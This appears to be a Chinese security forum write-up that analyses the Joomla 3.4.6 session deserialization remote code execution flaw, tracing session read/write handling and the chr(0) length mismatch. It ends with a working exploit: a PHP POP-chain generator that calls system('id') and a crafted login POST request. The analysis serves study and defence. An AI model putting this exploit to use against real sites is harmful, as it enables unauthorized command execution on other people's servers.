下载地址:https://downloads.joomla.org/it/cms/joomla3/3-4-6

本文测试环境为 PHP 5.5.9+apache+Ubuntu14.04.5 LTS+Joomla3.4.6

index.php 第42行下好断点,程序流程如下,这里我们重点关注 loadSession 方法。

loadSession 方法中会去实例化 JSessionStorageDatabase 类(下图第737行),而该类继承自 JSessionStorage 类,在实例化时会调用父类的 __construct 方法。在父类 __construct 方法中,我们看到使用了 session_set_save_handler 函数来处理 session ,函数中的 $this 指的就是 JSessionStorageDatabase 类对象(下图第88行)。接着,程序开启了 session_start 函数。

在经过 session_set_save_handler 函数处理后,如果调用 session_start 函数,就会依次调用 open、read、write、close 等方法,可以通过如下代码验证该结论。

<?php

class SessionDemo
{
    public function open()
    {
        echo 'open'.'<br>';
    }

    public function close()
    {
        echo 'close'.'<br>';
    }

    public function read()
    {
        echo 'read'.'<br>';
    }

    public function write()
    {
        echo 'write'.'<br>';
    }

    public function destroy()
    {
        echo 'destroy'.'<br>';
    }

    public function gc()
    {
        echo 'gc'.'<br>';
    }
}

$session = new SessionDemo();

session_set_save_handler(
    array($session, 'open'), array($session, 'close'), array($session, 'read'), array($session, 'write'),
    array($session, 'destroy'), array($session, 'gc')
);

register_shutdown_function('session_write_close');
session_start();

?>

而上面我们说了 session_set_save_handler 函数中的 $this 指的就是 JSessionStorageDatabase 类对象,所以在调用 session_start 函数后会触发 JSessionStorageDatabase 类对象的 read 方法,然后在程序即将终止时调用 write 方法。很多人找不到到底哪里调用了 read、write 方法,其实就在这里。

我们继续看程序逻辑。在用户登录失败时, Joomla 会将用户的登录数据设置在 session 中,然后将用户重定向到登录页面(下图第86-87行代码)。

在执行重定向代码时,程序会直接 exit() ,然后就会开始调用前面说到的 JSessionStorageDatabase 类的 write 方法,将用户 session 写入数据库。当我们再次发送请求时,程序会将上次存储在数据库的 session 取出来,这里在反序列化 session 的时候就会有问题。具体 write、read 的代码如下。

write、read 的代码问题就存在于对 chr(0) 字符的替换上。为了让大家更好理解,我这里举个小例子,测试代码如下:

<?php

function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class Evil {
    public $cmd;

    public function __construct($cmd) {
        $this->cmd = $cmd;
    }

    public function __destruct() {
        system($this->cmd);
    }
}

class User {
    public $username;
    public $password;

    public function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }
}

$username = str_repeat('\0',27);
$padding = '1234";s:3:"age";';
$shellcode = 'O:4:"Evil":1:{s:3:"cmd";s:2:"id";}'; // serialize(new Evil('id')) 的执行结果
$password = $padding . $shellcode;

$str = read(write(serialize(new User($username, $password))));
$obj = unserialize($str);
?>

如下图所示,黄色标记部分为属性名,蓝色部分为属性对应的值。我们可以明显看到在 read 函数处理后,原先54个字符长度的 '\0' 被替换成27个字符长度的 chr(0).'*'.chr(0) ,但是字符长度标识还是 s:54 。所以在进行反序列化的时候,还会继续向后读取27个字符长度,这样序列化的结果就完全不一样了。本次 Joomla 的漏洞,就是这个原理,这里不再赘述。

最后,我们再来看下POP链,也是比较简单,直接看下图吧。这里主要注意两个问题:

最终构造 EXP如下

<?php

class JSimplepieFactory {}

class JDatabaseDriverMysql {}

class SimplePie
{
    var $feed_url;
    var $cache;
    var $sanitize;
    var $cache_name_function;

    public function __construct($feed_url, $cache, $sanitize, $cache_name_function)
    {
        $this->feed_url = $feed_url;
        $this->cache = $cache;
        $this->sanitize = $sanitize;
        $this->cache_name_function = $cache_name_function;
    }
}

class JDatabaseDriverMysqli
{
    protected $obj;
    protected $connection;
    protected $disconnectHandlers = array();

    public function __construct($obj, $connection, $disconnectHandlers)
    {
        $this->obj = $obj;
        $this->connection = $connection;
        $this->disconnectHandlers = $disconnectHandlers;
    }
}

$function = 'system';
$argument = 'http://www.baidu.com;id';

// $function = 'assert';
// $argument = 'phpinfo() || "http://www.baidu.com"';
$simplepie = new SimplePie($argument, true, new JDatabaseDriverMysql(), $function);
$jdatabasedrivermysqli = new JDatabaseDriverMysqli(new JSimplepieFactory(), true, array(array($simplepie,'init')));
echo urlencode(serialize($jdatabasedrivermysqli));

?>
POST /Joomla/ HTTP/1.1
Host: 0.0.0.0:8000
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: XDEBUG_SESSION=PHPSTORM; 17511585a4996c48455fa590ab8d4d24=58c7q9ocb6n3q0tjj7m0s3g3i6
Content-Length: 737

CSRF-Token值=1&task=user.login&option=com_users&username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=AAA";s:3:"233":序列化payload

PS:这个漏洞还和PHP的版本有关,高版本PHP(例如PHP5.6.40)是无法利用成功的。这个和session的处理机制有关系,具体分析可以参考:session反序列化代码执行漏洞分析[Joomla RCE]

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖